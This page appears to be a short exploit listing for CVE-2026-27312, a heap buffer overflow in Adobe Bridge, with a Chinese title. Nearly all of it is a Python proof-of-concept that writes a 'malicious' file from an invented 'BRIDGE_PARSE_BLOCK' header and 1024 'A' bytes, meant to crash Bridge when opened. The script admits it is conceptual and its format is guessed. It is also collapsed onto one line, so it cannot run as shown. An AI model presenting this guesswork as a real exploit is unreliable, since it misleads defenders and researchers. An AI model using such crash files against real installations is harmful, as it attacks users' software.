CVE-2026-27312 Adobe Bridge 基于堆的缓冲区溢出漏洞

# PoC for CVE-2026-27312 # This script generates a malformed file designed to trigger a Heap-based Buffer Overflow in Adobe Bridge. # Note: This is a conceptual demonstration. The actual file format structure required to trigger the bug may vary. import struct def generate_malicious_file(filename): # Simulate a header or specific marker that Adobe Bridge parses file_header = b"BRIDGE_PARSE_BLOCK" # Create a payload larger than the expected heap buffer size to trigger the overflow. # Assuming the vulnerable buffer allocation is smaller than 1024 bytes. overflow_payload = b"A" * 1024 # Construct the malicious file content malicious_data = file_header + overflow_payload try: with open(filename, "wb") as f: f.write(malicious_data) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Adobe Bridge (affected versions) to reproduce the crash.") except IOError as e: print(f"[-] Error writing file: {e}") if __name__ == "__main__": generate_malicious_file("cve_2026_27312_exploit.bin")